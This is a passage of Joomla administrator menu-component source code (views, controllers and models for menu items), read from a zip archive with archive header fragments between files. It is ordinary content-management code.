JPATH_SITE.'/templates/'.$temp[0].'/html/'.$item->componentname.'/'.$vars['view'].'/'.$temp[1].'.xml'; // Load template language file $lang->load('tpl_' . $temp[0] . '.sys', JPATH_SITE, null, false, true) || $lang->load('tpl_' . $temp[0] . '.sys', JPATH_SITE . '/templates/' . $temp[0], null, false, true); } else { // Get XML file from component folder for standard layouts $file = JPATH_SITE.'/components/'.$item->componentname.'/views/'.$vars['view'].'/tmpl/'.$vars['layout'].'.xml'; } if (JFile::exists($file) && $xml = simplexml_load_file($file)) { // Look for the first view node off of the root node. if ($layout = $xml->xpath('layout[1]')) { if (!empty($layout[0]['title'])) { $value .= ' » ' . JText::_(trim((string) $layout[0]['title'])); } } if (!empty($layout[0]->message[0])) { $item->item_type_desc = JText::_(trim((string) $layout[0]->message[0])); } } } } unset($xml); } else { // Special case for absent views $value .= ' » ' . JText::_($item->componentname.'_'.$vars['view'].'_VIEW_DEFAULT_TITLE'); } } } else { if (preg_match("/^index.php\?option=([a-zA-Z\-0-9_]*)/", $item->link, $result)) { $value = JText::sprintf('COM_MENUS_TYPE_UNEXISTING', $result[1]); } else { $value = JText::_('COM_MENUS_TYPE_UNKNOWN'); } } break; } $item->item_type = $value; } // Levels filter. $options = array(); $options[] = JHtml::_('select.option', '1', JText::_('J1')); $options[] = JHtml::_('select.option', '2', JText::_('J2')); $options[] = JHtml::_('select.option', '3', JText::_('J3')); $options[] = JHtml::_('select.option', '4', JText::_('J4')); $options[] = JHtml::_('select.option', '5', JText::_('J5')); $options[] = JHtml::_('select.option', '6', JText::_('J6')); $options[] = JHtml::_('select.option', '7', JText::_('J7')); $options[] = JHtml::_('select.option', '8', JText::_('J8')); $options[] = JHtml::_('select.option', '9', JText::_('J9')); $options[] = JHtml::_('select.option', '10', JText::_('J10')); $this->f_levels = $options; parent::display($tpl); $this->addToolbar(); } /** * Add the page title and toolbar. * * @since 1.6 */ protected function addToolbar() { require_once JPATH_COMPONENT.'/helpers/menus.php'; $canDo = MenusHelper::getActions($this->state->get('filter.parent_id')); JToolBarHelper::title(JText::_('COM_MENUS_VIEW_ITEMS_TITLE'), 'menumgr.png'); if ($canDo->get('core.create')) { JToolBarHelper::addNew('item.add'); } if ($canDo->get('core.edit')) { JToolBarHelper::editList('item.edit'); } if ($canDo->get('core.edit.state')) { JToolBarHelper::divider(); JToolBarHelper::publish('items.publish', 'JTOOLBAR_PUBLISH', true); JToolBarHelper::unpublish('items.unpublish', 'JTOOLBAR_UNPUBLISH', true); } if (JFactory::getUser()->authorise('core.admin')) { JToolBarHelper::divider(); JToolBarHelper::checkin('items.checkin', 'JTOOLBAR_CHECKIN', true); } if ($this->state->get('filter.published') == -2 && $canDo->get('core.delete')) { JToolBarHelper::deleteList('', 'items.delete', 'JTOOLBAR_EMPTY_TRASH'); } elseif ($canDo->get('core.edit.state')) { JToolBarHelper::trash('items.trash'); } if ($canDo->get('core.edit.state')) { JToolBarHelper::makeDefault('items.setDefault', 'COM_MENUS_TOOLBAR_SET_HOME'); JToolBarHelper::divider(); } if (JFactory::getUser()->authorise('core.admin')) { JToolBarHelper::custom('items.rebuild', 'refresh.png', 'refresh_f2.png', 'JToolbar_Rebuild', false); JToolBarHelper::divider(); } JToolBarHelper::help('JHELP_MENUS_MENU_ITEM_MANAGER'); } } PK@y>\wtW/components/com_menus/views/menutypes/index.htmlnuW+APK@y>\).components/com_menus/views/menutypes/.htaccessnuW+A Order allow,deny Deny from all PK@y>\#H5components/com_menus/views/menutypes/tmpl/default.phpnuW+A PK@y>\)3components/com_menus/views/menutypes/tmpl/.htaccessnuW+A Order allow,deny Deny from all PK@y>\wtW4components/com_menus/views/menutypes/tmpl/index.htmlnuW+APK@y>\m??2components/com_menus/views/menutypes/view.html.phpnuW+ArecordId = JRequest::getInt('recordId'); $this->types = $this->get('TypeOptions'); parent::display($tpl); } } PK@y>\V%components/com_menus/views/index.htmlnuW+A PK@y>\))components/com_menus/views/menu/.htaccessnuW+A Order allow,deny Deny from all PK@y>\).components/com_menus/views/menu/tmpl/.htaccessnuW+A Order allow,deny Deny from all PK@y>\nA-components/com_menus/views/menu/tmpl/edit.phpnuW+A
      • form->getLabel('title'); ?> form->getInput('title'); ?>
      • form->getLabel('menutype'); ?> form->getInput('menutype'); ?>
      • form->getLabel('description'); ?> form->getInput('description'); ?>
      PK@y>\V/components/com_menus/views/menu/tmpl/index.htmlnuW+A PK@y>\V*components/com_menus/views/menu/index.htmlnuW+A PK@y>\-components/com_menus/views/menu/view.html.phpnuW+Aform = $this->get('Form'); $this->item = $this->get('Item'); $this->state = $this->get('State'); // Check for errors. if (count($errors = $this->get('Errors'))) { JError::raiseError(500, implode("\n", $errors)); return false; } parent::display($tpl); $this->addToolbar(); } /** * Add the page title and toolbar. * * @since 1.6 */ protected function addToolbar() { JRequest::setVar('hidemainmenu', true); $user = JFactory::getUser(); $isNew = ($this->item->id == 0); $canDo = MenusHelper::getActions($this->state->get('filter.parent_id')); JToolBarHelper::title(JText::_($isNew ? 'COM_MENUS_VIEW_NEW_MENU_TITLE' : 'COM_MENUS_VIEW_EDIT_MENU_TITLE'), 'menu.png'); // If a new item, can save the item. Allow users with edit permissions to apply changes to prevent returning to grid. if ($isNew && $canDo->get('core.create')) { if ($canDo->get('core.edit')) { JToolBarHelper::apply('menu.apply'); } JToolBarHelper::save('menu.save'); } // If user can edit, can save the item. if (!$isNew && $canDo->get('core.edit')) { JToolBarHelper::apply('menu.apply'); JToolBarHelper::save('menu.save'); } // If the user can create new items, allow them to see Save & New if ($canDo->get('core.create')) { JToolBarHelper::save2new('menu.save2new'); } if ($isNew) { JToolBarHelper::cancel('menu.cancel'); } else { JToolBarHelper::cancel('menu.cancel', 'JTOOLBAR_CLOSE'); } JToolBarHelper::divider(); JToolBarHelper::help('JHELP_MENUS_MENU_MANAGER_EDIT'); } } PK@y>\)*components/com_menus/controllers/.htaccessnuW+A Order allow,deny Deny from all PK@y>\V+components/com_menus/controllers/index.htmlnuW+A PK@y>\)components/com_menus/controllers/menu.phpnuW+AsetRedirect(JRoute::_('index.php?option=com_menus&view=menus', false)); } /** * Method to save a menu item. * * @return void */ public function save($key = null, $urlVar = null) { // Check for request forgeries. JSession::checkToken() or jexit(JText::_('JINVALID_TOKEN')); // Initialise variables. $app = JFactory::getApplication(); $data = JRequest::getVar('jform', array(), 'post', 'array'); $context = 'com_menus.edit.menu'; $task = $this->getTask(); $recordId = JRequest::getInt('id'); if (!$this->checkEditId($context, $recordId)) { // Somehow the person just went to the form and saved it - we don't allow that. $this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_UNHELD_ID', $recordId)); $this->setMessage($this->getError(), 'error'); $this->setRedirect(JRoute::_('index.php?option='.$this->option.'&view='.$this->view_list.$this->getRedirectToListAppend(), false)); return false; } // Make sure we are not trying to modify an administrator menu. if ((isset($data['client_id']) && $data['client_id'] == 1) || strtolower($data['menutype']) == 'menu' || strtolower($data['menutype']) == 'main') { JError::raiseNotice(0, JText::_('COM_MENUS_MENU_TYPE_NOT_ALLOWED')); // Redirect back to the edit screen. $this->setRedirect(JRoute::_('index.php?option=com_menus&view=menu&layout=edit', false)); return false; } // Populate the row id from the session. $data['id'] = $recordId; // Get the model and attempt to validate the posted data. $model = $this->getModel('Menu'); $form = $model->getForm(); if (!$form) { JError::raiseError(500, $model->getError()); return false; } $data = $model->validate($form, $data); // Check for validation errors. if ($data === false) { // Get the validation messages. $errors = $model->getErrors(); // Push up to three validation messages out to the user. for ($i = 0, $n = count($errors); $i < $n && $i < 3; $i++) { if ($errors[$i] instanceof Exception) { $app->enqueueMessage($errors[$i]->getMessage(), 'warning'); } else { $app->enqueueMessage($errors[$i], 'warning'); } } // Save the data in the session. $app->setUserState('com_menus.edit.menu.data', $data); // Redirect back to the edit screen. $this->setRedirect(JRoute::_('index.php?option=com_menus&view=menu&layout=edit', false)); return false; } // Attempt to save the data. if (!$model->save($data)) { // Save the data in the session. $app->setUserState('com_menus.edit.menu.data', $data); // Redirect back to the edit screen. $this->setMessage(JText::sprintf('JLIB_APPLICATION_ERROR_SAVE_FAILED', $model->getError()), 'warning'); $this->setRedirect(JRoute::_('index.php?option=com_menus&view=menu&layout=edit', false)); return false; } $this->setMessage(JText::_('COM_MENUS_MENU_SAVE_SUCCESS')); // Redirect the user and adjust session state based on the chosen task. switch ($task) { case 'apply': // Set the record data in the session. $recordId = $model->getState($this->context.'.id'); $this->holdEditId($context, $recordId); // Redirect back to the edit screen. $this->setRedirect(JRoute::_('index.php?option=com_menus&view=menu&layout=edit'.$this->getRedirectToItemAppend($recordId), false)); break; case 'save2new': // Clear the record id and data from the session. $this->releaseEditId($context, $recordId); $app->setUserState($context.'.data', null); // Redirect back to the edit screen. $this->setRedirect(JRoute::_('index.php?option=com_menus&view=menu&layout=edit', false)); break; default: // Clear the record id and data from the session. $this->releaseEditId($context, $recordId); $app->setUserState($context.'.data', null); // Redirect to the list screen. $this->setRedirect(JRoute::_('index.php?option=com_menus&view=menus', false)); break; } } } PK@y>\: *components/com_menus/controllers/items.phpnuW+AregisterTask('unsetDefault', 'setDefault'); } /** * Proxy for getModel * @since 1.6 */ function getModel($name = 'Item', $prefix = 'MenusModel', $config = array()) { return parent::getModel($name, $prefix, array('ignore_request' => true)); } /** * Rebuild the nested set tree. * * @return bool False on failure or error, true on success. * @since 1.6 */ public function rebuild() { JSession::checkToken() or jexit(JText::_('JINVALID_TOKEN')); $this->setRedirect('index.php?option=com_menus&view=items'); // Initialise variables. $model = $this->getModel(); if ($model->rebuild()) { // Reorder succeeded. $this->setMessage(JText::_('COM_MENUS_ITEMS_REBUILD_SUCCESS')); return true; } else { // Rebuild failed. $this->setMessage(JText::sprintf('COM_MENUS_ITEMS_REBUILD_FAILED')); return false; } } public function saveorder() { JSession::checkToken() or jexit(JText::_('JINVALID_TOKEN')); // Get the arrays from the Request $order = JRequest::getVar('order', null, 'post', 'array'); $originalOrder = explode(',', JRequest::getString('original_order_values')); // Make sure something has changed if (!($order === $originalOrder)) { parent::saveorder(); } else { // Nothing to reorder $this->setRedirect(JRoute::_('index.php?option='.$this->option.'&view='.$this->view_list, false)); return true; } } /** * Method to set the home property for a list of items * * @since 1.6 */ function setDefault() { // Check for request forgeries JSession::checkToken('request') or die(JText::_('JINVALID_TOKEN')); // Get items to publish from the request. $cid = JRequest::getVar('cid', array(), '', 'array'); $data = array('setDefault' => 1, 'unsetDefault' => 0); $task = $this->getTask(); $value = JArrayHelper::getValue($data, $task, 0, 'int'); if (empty($cid)) { JError::raiseWarning(500, JText::_($this->text_prefix.'_NO_ITEM_SELECTED')); } else { // Get the model. $model = $this->getModel(); // Make sure the item ids are integers JArrayHelper::toInteger($cid); // Publish the items. if (!$model->setHome($cid, $value)) { JError::raiseWarning(500, $model->getError()); } else { if ($value == 1) { $ntext = 'COM_MENUS_ITEMS_SET_HOME'; } else { $ntext = 'COM_MENUS_ITEMS_UNSET_HOME'; } $this->setMessage(JText::plural($ntext, count($cid))); } } $this->setRedirect(JRoute::_('index.php?option='.$this->option.'&view='.$this->view_list, false)); } } PK@y>\DD*components/com_menus/controllers/menus.phpnuW+A true)) { $model = parent::getModel($name, $prefix, $config); return $model; } /** * Removes an item */ public function delete() { // Check for request forgeries JSession::checkToken() or jexit(JText::_('JINVALID_TOKEN')); // Get items to remove from the request. $cid = JRequest::getVar('cid', array(), '', 'array'); if (!is_array($cid) || count($cid) < 1) { JError::raiseWarning(500, JText::_('COM_MENUS_NO_MENUS_SELECTED')); } else { // Get the model. $model = $this->getModel(); // Make sure the item ids are integers jimport('joomla.utilities.arrayhelper'); JArrayHelper::toInteger($cid); // Remove the items. if (!$model->delete($cid)) { $this->setMessage($model->getError()); } else { $this->setMessage(JText::plural('COM_MENUS_N_MENUS_DELETED', count($cid))); } } $this->setRedirect('index.php?option=com_menus&view=menus'); } /** * Rebuild the menu tree. * * @return bool False on failure or error, true on success. */ public function rebuild() { JSession::checkToken() or jexit(JText::_('JINVALID_TOKEN')); $this->setRedirect('index.php?option=com_menus&view=menus'); // Initialise variables. $model = $this->getModel('Item'); if ($model->rebuild()) { // Reorder succeeded. $this->setMessage(JText::_('JTOOLBAR_REBUILD_SUCCESS')); return true; } else { // Rebuild failed. $this->setMessage(JText::sprintf('JTOOLBAR_REBUILD_FAILED', $model->getMessage())); return false; } } /** * Temporary method. This should go into the 1.5 to 1.6 upgrade routines. */ public function resync() { // Initialise variables. $db = JFactory::getDbo(); $parts = null; // Load a lookup table of all the component id's. $components = $db->setQuery( 'SELECT element, extension_id' . ' FROM #__extensions' . ' WHERE type = '.$db->quote('component') )->loadAssocList('element', 'extension_id'); if ($error = $db->getErrorMsg()) { return JError::raiseWarning(500, $error); } // Load all the component menu links $items = $db->setQuery( 'SELECT id, link, component_id' . ' FROM #__menu' . ' WHERE type = '.$db->quote('component') )->loadObjectList(); if ($error = $db->getErrorMsg()) { return JError::raiseWarning(500, $error); } foreach ($items as $item) { // Parse the link. parse_str(parse_url($item->link, PHP_URL_QUERY), $parts); // Tease out the option. if (isset($parts['option'])) { $option = $parts['option']; // Lookup the component ID if (isset($components[$option])) { $componentId = $components[$option]; } else { // Mismatch. Needs human intervention. $componentId = -1; } // Check for mis-matched component id's in the menu link. if ($item->component_id != $componentId) { // Update the menu table. $log = "Link $item->id refers to $item->component_id, converting to $componentId ($item->link)"; echo "
      $log"; $db->setQuery( 'UPDATE #__menu' . ' SET component_id = '.$componentId. ' WHERE id = '.$item->id )->query(); //echo "
      ".$db->getQuery(); if ($error = $db->getErrorMsg()) { return JError::raiseWarning(500, $error); } } } } } } PK@y>\#1-1-)components/com_menus/controllers/item.phpnuW+AsetUserState($context . '.type', null); $app->setUserState($context . '.link', null); $menuType = $app->getUserStateFromRequest($this->context . '.filter.menutype', 'menutype', 'mainmenu', 'cmd'); $this->setRedirect(JRoute::_('index.php?option=com_menus&view=item&menutype=' . $menuType . $this->getRedirectToItemAppend(), false)); } return $result; } /** * Method to run batch operations. * * @param object $model The model. * * @return boolean True if successful, false otherwise and internal error is set. * * @since 1.6 */ public function batch($model = null) { JSession::checkToken() or jexit(JText::_('JINVALID_TOKEN')); // Initialise variables. $model = $this->getModel('Item', '', array()); // Preset the redirect $this->setRedirect(JRoute::_('index.php?option=com_menus&view=items' . $this->getRedirectToListAppend(), false)); return parent::batch($model); } /** * Method to cancel an edit. * * @param string $key The name of the primary key of the URL variable. * * @return boolean True if access level checks pass, false otherwise. * * @since 1.6 */ public function cancel($key = null) { JSession::checkToken() or jexit(JText::_('JINVALID_TOKEN')); // Initialise variables. $app = JFactory::getApplication(); $context = 'com_menus.edit.item'; $result = parent::cancel(); if ($result) { // Clear the ancillary data from the session. $app->setUserState($context . '.type', null); $app->setUserState($context . '.link', null); } } /** * Method to edit an existing record. * * @param string $key The name of the primary key of the URL variable. * @param string $urlVar The name of the URL variable if different from the primary key * (sometimes required to avoid router collisions). * * @return boolean True if access level check and checkout passes, false otherwise. * * @since 1.6 */ public function edit($key = null, $urlVar = null) { // Initialise variables. $app = JFactory::getApplication(); $result = parent::edit(); if ($result) { // Push the new ancillary data into the session. $app->setUserState('com_menus.edit.item.type', null); $app->setUserState('com_menus.edit.item.link', null); } return true; } /** * Method to save a record. * * @param string $key The name of the primary key of the URL variable. * @param string $urlVar The name of the URL variable if different from the primary key (sometimes required to avoid router collisions). * * @return boolean True if successful, false otherwise. * * @since 1.6 */ public function save($key = null, $urlVar = null) { // Check for request forgeries. JSession::checkToken() or jexit(JText::_('JINVALID_TOKEN')); // Initialise variables. $app = JFactory::getApplication(); $model = $this->getModel('Item', '', array()); $data = JRequest::getVar('jform', array(), 'post', 'array'); $task = $this->getTask(); $context = 'com_menus.edit.item'; $recordId = JRequest::getInt('id'); if (!$this->checkEditId($context, $recordId)) { // Somehow the person just went to the form and saved it - we don't allow that. $this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_UNHELD_ID', $recordId)); $this->setMessage($this->getError(), 'error'); $this->setRedirect(JRoute::_('index.php?option=com_menus&view=items' . $this->getRedirectToListAppend(), false)); return false; } // Populate the row id from the session. $data['id'] = $recordId; // The save2copy task needs to be handled slightly differently. if ($task == 'save2copy') { // Check-in the original row. if ($model->checkin($data['id']) === false) { // Check-in failed, go back to the item and display a notice. $this->setMessage(JText::sprintf('JLIB_APPLICATION_ERROR_CHECKIN_FAILED', $model->getError()), 'warning'); return false; } // Reset the ID and then treat the request as for Apply. $data['id'] = 0; $data['associations'] = array(); $task = 'apply'; } // Validate the posted data. // This post is made up of two forms, one for the item and one for params. $form = $model->getForm($data); if (!$form) { JError::raiseError(500, $model->getError()); return false; } if ($data['type'] == 'url') { $data['link'] = str_replace(array('"', '>', '<'), '', $data['link']); if (strstr($data['link'], ':')) { $segments = explode(':', $data['link']); $protocol = strtolower($segments[0]); $scheme = array('http', 'https', 'ftp', 'ftps', 'gopher', 'mailto', 'news', 'prospero', 'telnet', 'rlogin', 'tn3270', 'wais', 'url', 'mid', 'cid', 'nntp', 'tel', 'urn', 'ldap', 'file', 'fax', 'modem', 'git'); if (!in_array($protocol, $scheme)) { $app->enqueueMessage(JText::_('JLIB_APPLICATION_ERROR_SAVE_NOT_PERMITTED'), 'warning'); $this->setRedirect(JRoute::_('index.php?option=' . $this->option . '&view=' . $this->view_item . $this->getRedirectToItemAppend($recordId), false)); return false; } } } $data = $model->validate($form, $data); // Check for the special 'request' entry. if ($data['type'] == 'component' && isset($data['request']) && is_array($data['request']) && !empty($data['request'])) { // Parse the submitted link arguments. $args = array(); parse_str(parse_url($data['link'], PHP_URL_QUERY), $args); // Merge in the user supplied request arguments. $args = array_merge($args, $data['request']); $data['link'] = 'index.php?' . urldecode(http_build_query($args, '', '&')); unset($data['request']); } // Check for validation errors. if ($data === false) { // Get the validation messages. $errors = $model->getErrors(); // Push up to three validation messages out to the user. for ($i = 0, $n = count($errors); $i < $n && $i < 3; $i++) { if ($errors[$i] instanceof Exception) { $app->enqueueMessage($errors[$i]->getMessage(), 'warning'); } else { $app->enqueueMessage($errors[$i], 'warning'); } } // Save the data in the session. $app->setUserState('com_menus.edit.item.data', $data); // Redirect back to the edit screen. $this->setRedirect(JRoute::_('index.php?option=' . $this->option . '&view=' . $this->view_item . $this->getRedirectToItemAppend($recordId), false)); return false; } // Attempt to save the data. if (!$model->save($data)) { // Save the data in the session. $app->setUserState('com_menus.edit.item.data', $data); // Redirect back to the edit screen. $this->setMessage(JText::sprintf('JLIB_APPLICATION_ERROR_SAVE_FAILED', $model->getError()), 'warning'); $this->setRedirect(JRoute::_('index.php?option=' . $this->option . '&view=' . $this->view_item . $this->getRedirectToItemAppend($recordId), false)); return false; } // Save succeeded, check-in the row. if ($model->checkin($data['id']) === false) { // Check-in failed, go back to the row and display a notice. $this->setMessage(JText::sprintf('JLIB_APPLICATION_ERROR_CHECKIN_FAILED', $model->getError()), 'warning'); $this->setRedirect(JRoute::_('index.php?option=' . $this->option . '&view=' . $this->view_item . $this->getRedirectToItemAppend($recordId), false)); return false; } $this->setMessage(JText::_('COM_MENUS_SAVE_SUCCESS')); // Redirect the user and adjust session state based on the chosen task. switch ($task) { case 'apply': // Set the row data in the session. $recordId = $model->getState($this->context . '.id'); $this->holdEditId($context, $recordId); $app->setUserState('com_menus.edit.item.data', null); $app->setUserState('com_menus.edit.item.type', null); $app->setUserState('com_menus.edit.item.link', null); // Redirect back to the edit screen. $this->setRedirect(JRoute::_('index.php?option=' . $this->option . '&view=' . $this->view_item . $this->getRedirectToItemAppend($recordId), false)); break; case 'save2new': // Clear the row id and data in the session. $this->releaseEditId($context, $recordId); $app->setUserState('com_menus.edit.item.data', null); $app->setUserState('com_menus.edit.item.type', null); $app->setUserState('com_menus.edit.item.link', null); $app->setUserState('com_menus.edit.item.menutype', $model->getState('item.menutype')); // Redirect back to the edit screen. $this->setRedirect(JRoute::_('index.php?option=' . $this->option . '&view=' . $this->view_item . $this->getRedirectToItemAppend(), false)); break; default: // Clear the row id and data in the session. $this->releaseEditId($context, $recordId); $app->setUserState('com_menus.edit.item.data', null); $app->setUserState('com_menus.edit.item.type', null); $app->setUserState('com_menus.edit.item.link', null); // Redirect to the list screen. $this->setRedirect(JRoute::_('index.php?option=' . $this->option . '&view=' . $this->view_list . $this->getRedirectToListAppend(), false)); break; } } /** * Sets the type of the menu item currently being edited. * * @return void * * @since 1.6 */ function setType() { // Initialise variables. $app = JFactory::getApplication(); // Get the posted values from the request. $data = JRequest::getVar('jform', array(), 'post', 'array'); $recordId = JRequest::getInt('id'); // Get the type. $type = $data['type']; $type = json_decode(base64_decode($type)); $title = isset($type->title) ? $type->title : null; $recordId = isset($type->id) ? $type->id : 0; if ($title != 'alias' && $title != 'separator' && $title != 'url') { $title = 'component'; } $app->setUserState('com_menus.edit.item.type', $title); if ($title == 'component') { if (isset($type->request)) { $component = JComponentHelper::getComponent($type->request->option); $data['component_id'] = $component->id; $app->setUserState('com_menus.edit.item.link', 'index.php?' . JURI::buildQuery((array) $type->request)); } } // If the type is alias you just need the item id from the menu item referenced. elseif ($title == 'alias') { $app->setUserState('com_menus.edit.item.link', 'index.php?Itemid='); } unset($data['request']); $data['type'] = $title; if (JRequest::getCmd('fieldtype') == 'type') { $data['link'] = $app->getUserState('com_menus.edit.item.link'); } //Save the data in the session. $app->setUserState('com_menus.edit.item.data', $data); $this->type = $type; $this->setRedirect(JRoute::_('index.php?option=' . $this->option . '&view=' . $this->view_item . $this->getRedirectToItemAppend($recordId), false)); } } PK@y>\)components/com_menus/.htaccessnuW+A Order allow,deny Deny from all PK@y>\V&components/com_menus/tables/index.htmlnuW+A PK@y>\)%components/com_menus/tables/.htaccessnuW+A Order allow,deny Deny from all PK@y>\#z$components/com_menus/tables/menu.phpnuW+A\!components/com_menus/access.xmlnuW+A
      PK@y>\xcomponents/com_menus/config.xmlnuW+A
      PK@y>\  \"\"%components/com_menus/models/items.phpnuW+Aget('menu_associations', 0)) { $config['filter_fields'][] = 'association'; } } parent::__construct($config); } /** * Method to auto-populate the model state. * * Note. Calling getState in this method will result in recursion. * * @return void * @since 1.6 */ protected function populateState($ordering = null, $direction = null) { $app = JFactory::getApplication('administrator'); $search = $this->getUserStateFromRequest($this->context.'.search', 'filter_search'); $this->setState('filter.search', $search); $published = $this->getUserStateFromRequest($this->context.'.published', 'filter_published', ''); $this->setState('filter.published', $published); $access = $this->getUserStateFromRequest($this->context.'.filter.access', 'filter_access', 0, 'int'); $this->setState('filter.access', $access); $parentId = $this->getUserStateFromRequest($this->context.'.filter.parent_id', 'filter_parent_id', 0, 'int'); $this->setState('filter.parent_id', $parentId); $level = $this->getUserStateFromRequest($this->context.'.filter.level', 'filter_level', 0, 'int'); $this->setState('filter.level', $level); $menuType = JRequest::getVar('menutype', null); if ($menuType) { if ($menuType != $app->getUserState($this->context.'.filter.menutype')) { $app->setUserState($this->context.'.filter.menutype', $menuType); JRequest::setVar('limitstart', 0); } } else { $menuType = $app->getUserState($this->context.'.filter.menutype'); if (!$menuType) { $menuType = $this->getDefaultMenuType(); } } $this->setState('filter.menutype', $menuType); $language = $this->getUserStateFromRequest($this->context.'.filter.language', 'filter_language', ''); $this->setState('filter.language', $language); // Component parameters. $params = JComponentHelper::getParams('com_menus'); $this->setState('params', $params); // List state information. parent::populateState('a.lft', 'asc'); } /** * Method to get a store id based on model configuration state. * * This is necessary because the model is used by the component and * different modules that might need different sets of data or different * ordering requirements. * * @param string $id A prefix for the store id. * * @return string A store id. * @since 1.6 */ protected function getStoreId($id = '') { // Compile the store id. $id .= ':'.$this->getState('filter.access'); $id .= ':'.$this->getState('filter.published'); $id .= ':'.$this->getState('filter.language'); $id .= ':'.$this->getState('filter.search'); $id .= ':'.$this->getState('filter.parent_id'); $id .= ':'.$this->getState('filter.menutype'); return parent::getStoreId($id); } /** * Finds the default menu type. * * In the absence of better information, this is the first menu ordered by title. * * @return string The default menu type * @since 1.6 */ protected function getDefaultMenuType() { // Create a new query object. $db = $this->getDbo(); $query = $db->getQuery(true) ->select('menutype') ->from('#__menu_types') ->order('title'); $db->setQuery($query, 0, 1); $menuType = $db->loadResult(); return $menuType; } /** * Builds an SQL query to load the list data. * * @return JDatabaseQuery A query object. */ protected function getListQuery() { // Create a new query object. $db = $this->getDbo(); $query = $db->getQuery(true); $user = JFactory::getUser(); $app = JFactory::getApplication(); // Select all fields from the table. $query->select($this->getState('list.select', 'a.id, a.menutype, a.title, a.alias, a.note, a.path, a.link, a.type, a.parent_id, a.level, a.published as apublished, a.component_id, a.ordering, a.checked_out, a.checked_out_time, a.browserNav, a.access, a.img, a.template_style_id, a.params, a.lft, a.rgt, a.home, a.language, a.client_id')); $query->select('CASE a.type' . ' WHEN ' . $db->quote('component') . ' THEN a.published+2*(e.enabled-1) ' . ' WHEN ' . $db->quote('url') . ' THEN a.published+2 ' . ' WHEN ' . $db->quote('alias') . ' THEN a.published+4 ' . ' WHEN ' . $db->quote('separator') . ' THEN a.published+6 ' . ' END AS published'); $query->from($db->quoteName('#__menu').' AS a'); // Join over the language $query->select('l.title AS language_title, l.image as image'); $query->join('LEFT', $db->quoteName('#__languages').' AS l ON l.lang_code = a.language'); // Join over the users. $query->select('u.name AS editor'); $query->join('LEFT', $db->quoteName('#__users').' AS u ON u.id = a.checked_out'); //Join over components $query->select('c.element AS componentname'); $query->join('LEFT', $db->quoteName('#__extensions').' AS c ON c.extension_id = a.component_id'); // Join over the asset groups. $query->select('ag.title AS access_level'); $query->join('LEFT', '#__viewlevels AS ag ON ag.id = a.access'); // Join over the associations. $assoc = isset($app->menu_associations) ? $app->menu_associations : 0; if ($assoc) { $query->select('COUNT(asso2.id)>1 as association'); $query->join('LEFT', '#__associations AS asso ON asso.id = a.id AND asso.context='.$db->quote('com_menus.item')); $query->join('LEFT', '#__associations AS asso2 ON asso2.key = asso.key'); $query->group('a.id'); } // Join over the extensions $query->select('e.name AS name'); $query->join('LEFT', '#__extensions AS e ON e.extension_id = a.component_id'); // Exclude the root category. $query->where('a.id > 1'); $query->where('a.client_id = 0'); // Filter on the published state. $published = $this->getState('filter.published'); if (is_numeric($published)) { $query->where('a.published = '.(int) $published); } elseif ($published === '') { $query->where('(a.published IN (0, 1))'); } // Filter by search in title, alias or id if ($search = trim($this->getState('filter.search'))) { if (stripos($search, 'id:') === 0) { $query->where('a.id = '.(int) substr($search, 3)); } elseif (stripos($search, 'link:') === 0) { if ($search = substr($search, 5)) { $search = $db->Quote('%'.$db->escape($search, true).'%'); $query->where('a.link LIKE '.$search); } } else { $search = $db->Quote('%'.$db->escape($search, true).'%'); $query->where('('.'a.title LIKE '.$search.' OR a.alias LIKE '.$search.' OR a.note LIKE '.$search.')'); } } // Filter the items over the parent id if set. $parentId = $this->getState('filter.parent_id'); if (!empty($parentId)) { $query->where('p.id = '.(int)$parentId); } // Filter the items over the menu id if set. $menuType = $this->getState('filter.menutype'); if (!empty($menuType)) { $query->where('a.menutype = '.$db->quote($menuType)); } // Filter on the access level. if ($access = $this->getState('filter.access')) { $query->where('a.access = '.(int) $access); } // Implement View Level Access if (!$user->authorise('core.admin')) { $groups = implode(',', $user->getAuthorisedViewLevels()); $query->where('a.access IN ('.$groups.')'); } // Filter on the level. if ($level = $this->getState('filter.level')) { $query->where('a.level <= '.(int) $level); } // Filter on the language. if ($language = $this->getState('filter.language')) { $query->where('a.language = '.$db->quote($language)); } // Add the list ordering clause. $query->order($db->escape($this->getState('list.ordering', 'a.lft')).' '.$db->escape($this->getState('list.direction', 'ASC'))); //echo nl2br(str_replace('#__','jos_',(string)$query)).'
      '; return $query; } } PK@y>\)+components/com_menus/models/forms/.htaccessnuW+A Order allow,deny Deny from all PK@y>\V,components/com_menus/models/forms/index.htmlnuW+A PK@y>\`4components/com_menus/models/forms/item_separator.xmlnuW+A
      PK@y>\}C*components/com_menus/models/forms/item.xmlnuW+A
      PK@y>\Q݅ 4components/com_menus/models/forms/item_component.xmlnuW+A
      PK@y>\x|.components/com_menus/models/forms/item_url.xmlnuW+A
      PK@y>\0components/com_menus/models/forms/item_alias.xmlnuW+A
      PK@y>\+{%%*components/com_menus/models/forms/menu.xmlnuW+A
      PK@y>\2-Q)))components/com_menus/models/menutypes.phpnuW+Arlu)) { $this->getTypeOptions(); } return $this->rlu; } /** * Method to get the available menu item type options. * * @return array Array of groups with menu item types. * @since 1.6 */ public function getTypeOptions() { jimport('joomla.filesystem.file'); // Initialise variables. $lang = JFactory::getLanguage(); $list = array(); // Get the list of components. $db = JFactory::getDBO(); $query = $db->getQuery(true); $query->select('name, element AS ' . $db->qn('option')); $query->from('#__extensions'); $query->where('type = ' . $db->q('component')); $query->where('enabled = 1'); $query->order('name ASC'); $db->setQuery($query); $components = $db->loadObjectList(); foreach ($components as $component) { if ($options = $this->getTypeOptionsByComponent($component->option)) { $list[$component->name] = $options; // Create the reverse lookup for link-to-name. foreach ($options as $option) { if (isset($option->request)) { $this->rlu[MenusHelper::getLinkKey($option->request)] = $option->get('title'); if (isset($option->request['option'])) { $lang->load($option->request['option'] . '.sys', JPATH_ADMINISTRATOR, null, false, true) || $lang->load($option->request['option'] . '.sys', JPATH_ADMINISTRATOR. '/components/'.$option->request['option'], null, false, true); } } } } } return $list; } protected function getTypeOptionsByComponent($component) { // Initialise variables. $options = array(); $mainXML = JPATH_SITE.'/components/'.$component.'/metadata.xml'; if (is_file($mainXML)) { $options = $this->getTypeOptionsFromXML($mainXML, $component); } if (empty($options)) { $options = $this->getTypeOptionsFromMVC($component); } return $options; } protected function getTypeOptionsFromXML($file, $component) { // Initialise variables. $options = array(); // Attempt to load the xml file. if (!$xml = simplexml_load_file($file)) { return false; } // Look for the first menu node off of the root node. if (!$menu = $xml->xpath('menu[1]')) 